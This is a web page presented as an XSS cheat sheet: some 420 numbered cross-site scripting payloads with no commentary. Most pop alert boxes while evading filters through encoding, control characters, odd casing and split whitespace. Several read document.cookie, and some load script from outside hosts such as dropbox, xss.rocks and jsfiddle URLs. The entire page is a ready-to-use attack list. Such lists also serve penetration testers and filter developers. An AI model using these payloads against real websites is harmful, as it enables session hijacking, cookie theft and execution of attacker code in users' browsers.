XSS Cheat Sheet

admin

1. xss Vectors Cheat Sheet
   
2. 
   
3. <style>@KeyFrames z{</style><div style=animation-name:z onanimationend=alert`1`>
   
4. %253Cscript%253Ealert('XSS')%253C%252Fscript%253E
   
5. "</script><script>alert(String.fromCharCode(88,83,83))</script>
   
6. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
   
7. <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
   
8. <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
   
9. <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
   
10. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
    
11. <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
    
12. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
    
13. <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
    
14. <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
    
15. <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
    
16. <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
    
17. <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
    
18. <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
    
19. <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
    
20. <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
    
21. <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
    
22. <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
    
23. <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
    
24. <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
    
25. <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
    
26. <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
    
27. <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
    
28. <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
    
29. <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
    
30. <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
    
31. <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
    
32. <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
    
33. <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
    
34. <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
    
35. <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
    
36. <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
    
37. <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
    
38. <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
    
39. <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
    
40. <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
    
41. <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
    
42. <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
    
43. <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
    
44. <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
    
45. <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
    
46. <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
    
47. <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
    
48. <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
    
49. <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
    
50. <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
    
51. <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
    
52. <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
    
53. <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
    
54. <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
    
55. <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
    
56. <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
    
57. <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
    
58. <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
    
59. <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
    
60. <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
    
61. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
    
62. <IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
    
63. <IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
    
64. <IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
    
65. <IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
    
66. <IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
    
67. <IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
    
68. <IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
    
69. <IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
    
70. <IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
    
71. <IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
    
72. <IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
    
73. <IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
    
74. <IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
    
75. <IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
    
76. <IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
    
77. <IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
    
78. <IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
    
79. <META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
    
80. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
    
81. <INPUT TYPE="BUTTON" action="alert('XSS')"/>
    
82. "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
    
83. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
    
84. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    
85. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
    
86. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
    
87. "></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
    
88. "><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1>
    
89. "><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
    
90. ><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
    
91. g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
    
92. <IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
    
93. "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
    
94. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
    
95. <iframe src=http://xss.rocks/scriptlet.html <
    
96. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    
97. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
    
98. <iframe  src="        javascript:prompt(1)        ">
    
99. <svg><style>{font-family:'<iframe/onload=confirm(1)>'
    
100. <input/onmouseover="javaSCRIPT:confirm(1)"
     
101. <sVg><scRipt >alert(1) {Opera}
     
102. <img/src=`` onerror=this.onerror=confirm(1)
     
103. <form><isindex formaction="javascript:confirm(1)"
     
104. <img src=``
     
105. onerror=alert(1)
     
106. 
     
107. <script/         src='https://dl.dropbox.com/u/13018058/js.js' /        ></script>
     
108. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
     
109. <iframe/src="data:text/html;        base64        ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
     
110. <script /**/>/**/alert(1)/**/</script /**/
     
111. "><h1/onmouseover='\u0061lert(1)'>
     
112. <iframe/src="data:text/html,<svg onload=alert(1)>">
     
113. <meta content="
     
114. 1
     
115. ; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
     
116. <svg><script xlink:href=data:,window.open('https://www.google.com/') </script
     
117. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
     
118. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
     
119. <iframe src=javascript:alert(document.location)>
     
120. <form><a href="javascript:\u0061lert(1)">X</script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'>
     
121. <img/       
     
122.  src=`~` onerror=prompt(1)>
     
123. <form><iframe        
     
124.  src="javascript:alert(1)"
     
125.         ;>
     
126. <a href="data:application/x-x509-user-cert;
     
127. base64
     
128. ,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="       
     
129. >X</a
     
130. http://www.google<script .com>alert(document.location)</script
     
131. <a href=[&#65533;]"&#65533; onmouseover=prompt(1)//">XYZ</a
     
132. <img/src=@
     
133. onerror = prompt('1')
     
134. <style/onload=prompt('XSS')
     
135. <script ^__^>alert(String.fromCharCode(49))</script ^__^
     
136. </style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
     
137. &#65533;</form><input type="date" onfocus="alert(1)">
     
138. <form><textarea
     
139. onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
     
140. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
     
141. <iframe srcdoc='<body onload=prompt(1)>'>
     
142. <a href="javascript:void(0)" onmouseover=
     
143. javascript:alert(1)
     
144. >X</a>
     
145. <script ~~~>alert(0%0)</script ~~~>
     
146. <style/onload=<!--        >
     
147. alert
     
148. (1)>
     
149. <///style///><span %2F onmousemove='alert(1)'>SPAN
     
150. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=        prompt(1)
     
151. "><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
     
152. 
     
153. <blink/
     
154. onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
     
155. <marquee onstart='javascript:alert(1)'>^__^
     
156. <div/style="width:expression(confirm(1))">X</div> {IE7}
     
157. <iframe// src=javaSCRIPT:alert(1)
     
158. //<form/action=javascript:alert(document.cookie)><input/type='submit'>//
     
159. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
     
160. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
     
161. </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
     
162. <a/href="javascript:
     
163. javascript:prompt(1)"><input type="X">
     
164. </plaintext\></|\><plaintext/onmouseover=prompt(1)
     
165. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
     
166. <a href="javascript:\u0061le%72t(1)"><button>
     
167. <div onmouseover='alert(1)'>DIV</div>
     
168. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
     
169. <a href="jAvAsCrIpT:alert(1)">X</a>
     
170. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
     
171. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
     
172. <var onmouseover="prompt(1)">On Mouse Over</var>
     
173. <a href=javascript:alert(document.cookie)>Click Here</a>
     
174. <img src="/" =_=" title="onerror='prompt(1)'">
     
175. <%<!--'%><script>alert(1);</script -->
     
176. <script src="data:text/javascript,alert(1)"></script>
     
177. <iframe/src \/\/onload = prompt(1)
     
178. <iframe/onreadystatechange=alert(1)
     
179. <svg/onload=alert(1)
     
180. <input value=<><iframe/src=javascript:confirm(1)
     
181. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
     
182. http://www.<script>alert(1)</script .com
     
183. <iframe src=j
     
184.         a
     
185.                 v
     
186.                         a
     
187.                                 s
     
188.                                         c
     
189.                                                 r
     
190.                                                         i
     
191.                                                                 p
     
192.                                                                         t
     
193.                                                                                 :a
     
194.                                                                                         l
     
195.                                                                                                 e
     
196.                                                                                                         r
     
197.                                                                                                                 t
     
198.                                                                                                                         28
     
199.                                                                                                                                 1
     
200.                                                                                                                                         %29></iframe>
     
201. <svg><script ?>alert(1)
     
202. <iframe src=j        a        v        a        s        c        r        i        p        t        :a        l        e        r        t        %28        1        %29></iframe>
     
203. <img src=`xx:xx`onerror=alert(1)>
     
204. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
     
205. <meta http-equiv="refresh" content="0;javascript:alert(1)"/>
     
206. <math><a xlink:href="//jsfiddle.net/t846h/">click
     
207. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
     
208. <svg contentScriptType=text/vbs><script>MsgBox+1
     
209. <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
     
210. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
     
211. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
     
212. <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
     
213. <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
     
214. <object data=javascript:\u0061le%72t(1)>
     
215. <script>+-+-1-+-+alert(1)</script>
     
216. <body/onload=<!-->
     
217. alert(1)>
     
218. <script itworksinallbrowsers>/*<script* */alert(1)</script
     
219. <img src ?itworksonchrome?\/onerror = alert(1)
     
220. <svg><script>//
     
221. confirm(1);</script </svg>
     
222. <svg><script onlypossibleinopera:-)> alert(1)
     
223. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
     
224. <script x> alert(1) </script 1=2
     
225. <div/onmouseover='alert(1)'> style="x:">
     
226. <--`<img/src=` onerror=alert(1)> --!>
     
227. <script/src=data:text/javascript,alert(1)></script>
     
228. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
     
229. "><img src=x onerror=window.open('https://www.google.com/');>
     
230. <form><button formaction=javascript:alert(1)>CLICKME
     
231. <math><a xlink:href="//jsfiddle.net/t846h/">click
     
232. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
     
233. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
     
234. <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>&#8203;">Click Me</a>
     
235. <script\x20type="text/javascript">javascript:alert(1);</script>
     
236. <script\x3Etype="text/javascript">javascript:alert(1);</script>
     
237. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
     
238. <script\x09type="text/javascript">javascript:alert(1);</script>
     
239. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
     
240. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
     
241. <script\x0Atype="text/javascript">javascript:alert(1);</script>
     
242. '`"><\x3Cscript>javascript:alert(1)</script>        
     
243. '`"><\x00script>javascript:alert(1)</script>
     
244. <img src=1 href=1 onerror="javascript:alert(1)"></img>
     
245. <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
     
246. <video src=1 href=1 onerror="javascript:alert(1)"></video>
     
247. <body src=1 href=1 onerror="javascript:alert(1)"></body>
     
248. <image src=1 href=1 onerror="javascript:alert(1)"></image>
     
249. <object src=1 href=1 onerror="javascript:alert(1)"></object>
     
250. <script src=1 href=1 onerror="javascript:alert(1)"></script>
     
251. <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
     
252. <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
     
253. <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
     
254. <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
     
255. <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
     
256. <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
     
257. <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
     
258. <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
     
259. <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
     
260. <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
     
261. <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
     
262. <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
     
263. <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
     
264. <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
     
265. <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
     
266. <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
     
267. <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
     
268. <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
     
269. <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
     
270. <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
     
271. <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
     
272. <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
     
273. <applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
     
274. <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
     
275. <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
     
276. <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
     
277. <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
     
278. <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
     
279. <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
     
280. <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
     
281. <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
     
282. <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
     
283. <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
     
284. <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
     
285. <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
     
286. <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
     
287. <body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
     
288. <object onError object onError="javascript:javascript:alert(1)"></object onError>
     
289. <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
     
290. <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
     
291. <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
     
292. <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
     
293. <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
     
294. <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
     
295. <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
     
296. <body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
     
297. <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
     
298. <body onload body onload="javascript:javascript:alert(1)"></body onload>
     
299. <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
     
300. <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
     
301. <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
     
302. <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
     
303. <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
     
304. <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
     
305. <iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
     
306. <svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
     
307. <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
     
308. <body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
     
309. \x3Cscript>javascript:alert(1)</script>
     
310. '"`><script>/* *\x2Fjavascript:alert(1)// */</script>
     
311. <script>javascript:alert(1)</script\x0D
     
312. <script>javascript:alert(1)</script\x0A
     
313. <script>javascript:alert(1)</script\x0B
     
314. <script charset="\x22>javascript:alert(1)</script>
     
315. <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
     
316. --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
     
317. --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
     
318. --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
     
319. --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
     
320. `"'><img src='#\x27 onerror=javascript:alert(1)>
     
321. <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
     
322. "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
     
323. <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
324. <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
325. <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
     
326. <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
     
327. <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
328. <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
329. <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
330. <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
331. <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
332. <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
333. <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
     
334. <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
335. <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
     
336. <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
     
337. <script>/* *\x2A/javascript:alert(1)// */</script>
     
338. <script>/* *\x00/javascript:alert(1)// */</script>
     
339. <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
     
340. <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
     
341. <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
     
342. <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
     
343. <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
     
344. "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
     
345. "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
     
346. <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
     
347. <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
     
348. <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
     
349. '`"><\x3Cscript>javascript:alert(1)</script>
     
350. '`"><\x00script>javascript:alert(1)</script>
     
351. "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
     
352. "'`><\x00img src=xxx:x onerror=javascript:alert(1)>
     
353. <script src="data:text/plain\x2Cjavascript:alert(1)"></script>
     
354. <script src="data:\xD4\x8F,javascript:alert(1)"></script>
     
355. <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
     
356. <script src="data:\xCB\x8F,javascript:alert(1)"></script>
     
357. <script\x20type="text/javascript">javascript:alert(1);</script>
     
358. <script\x3Etype="text/javascript">javascript:alert(1);</script>
     
359. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
     
360. <script\x09type="text/javascript">javascript:alert(1);</script>
     
361. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
     
362. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
     
363. <script\x0Atype="text/javascript">javascript:alert(1);</script>
     
364. ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
     
365. ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
     
366. ABC<div style="x:expression\x00(javascript:alert(1)">DEF
     
367. ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
     
368. ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
     
369. ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
     
370. ABC<div style="x:\x09expression(javascript:alert(1)">DEF
     
371. ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
     
372. ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
     
373. ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
     
374. ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
     
375. ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
     
376. ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
     
377. ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
     
378. ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
     
379. ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
     
380. ABC<div style="x:\x20expression(javascript:alert(1)">DEF
     
381. ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
     
382. ABC<div style="x:\x00expression(javascript:alert(1)">DEF
     
383. ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
     
384. ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
     
385. ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
     
386. ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
     
387. ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
     
388. ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
     
389. ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
     
390. ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
     
391. <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
392. <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
393. <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
394. <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
395. <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
396. <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
397. <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
398. <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
399. <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
400. <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
401. <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
402. <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
403. <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
404. <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
405. <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
406. <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
407. <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
408. <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
409. <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
410. <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
411. <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
412. <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
413. <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
414. <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
415. <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
416. <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
417. <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
418. <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
419. <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
420. <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
     
